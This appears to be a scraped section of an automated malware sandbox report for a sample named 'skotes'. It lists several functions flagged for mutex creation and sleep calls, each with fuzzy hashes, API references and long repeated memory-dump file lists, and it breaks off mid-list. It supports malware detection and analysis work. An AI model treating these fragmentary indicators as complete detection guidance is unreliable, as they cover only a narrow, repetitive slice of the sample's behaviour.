Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 54eca39a20249e1c493b283c453652fc86a2466f75a7326942cf0bb6912a360c
Instruction ID: 81f59713b6dca360d86b8e786edbf03dc4741762ad97d975e2acb15087d649ca
Opcode Fuzzy Hash: 54eca39a20249e1c493b283c453652fc86a2466f75a7326942cf0bb6912a360c
Instruction Fuzzy Hash: F831D3717002419FEB089BACDCCDBEDBFA2BBD6310F244619E014A72D5D776A9808712

Function 005BA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 06c1dcc306d786ebbaee773678415e052334940f05f419147f229026c5ff8089
Instruction ID: c321d2473cac7fb7ca2a50052dc7fb552b182f5655d2f83bcb0d107a0056a434
Opcode Fuzzy Hash: 06c1dcc306d786ebbaee773678415e052334940f05f419147f229026c5ff8089
Instruction Fuzzy Hash: 9B31F7717002419BEB189BB8DCCDBEDBF62FBD1310F244218E054972D6D7B669808752

Function 005BA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: eba5732978542a7c8c5f245af2daa5c53f0563d7e00d5143dd1544bde7decfe2
Instruction ID: 65d65611e69d19202f2171f4f1b09dd9e7a98055df8c5d39ae0116a2b50cc1d9
Opcode Fuzzy Hash: eba5732978542a7c8c5f245af2daa5c53f0563d7e00d5143dd1544bde7decfe2
Instruction Fuzzy Hash: C3311571B002418BEB189B78DCDDBEDBF62FBD5314F248618E054A72D6CB75AA808712

Function 005BA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 0f45ce6d77156e41b90768774538a56e33d520e6f8ea0832fe0f48cdf0a6692b
Instruction ID: bc4218f50ad885efb61ff2d2eaee5160f770cb226f657d01c6913d06c693e773
Opcode Fuzzy Hash: 0f45ce6d77156e41b90768774538a56e33d520e6f8ea0832fe0f48cdf0a6692b
Instruction Fuzzy Hash: 26311571B042419BEB189B78DCCDBEDBF62FBD5310F248618E014A72D6CB7569808752

Function 005B9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: ac089f6b19fc69b397d94b8bc645643dfee8b0a07173f66b2b3fb13bd07d26ed
Instruction ID: c1225dba8b5da4095014ee0f1614ddf4bd8dd17c346b1aac31f1eb4b48ea34e7
Opcode Fuzzy Hash: ac089f6b19fc69b397d94b8bc645643dfee8b0a07173f66b2b3fb13bd07d26ed
Instruction Fuzzy Hash: 6E2125717042019BEB18AB68ECCDBEDBB62FBD1310F244219E418D72D5CBB669808712

Function 005BA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
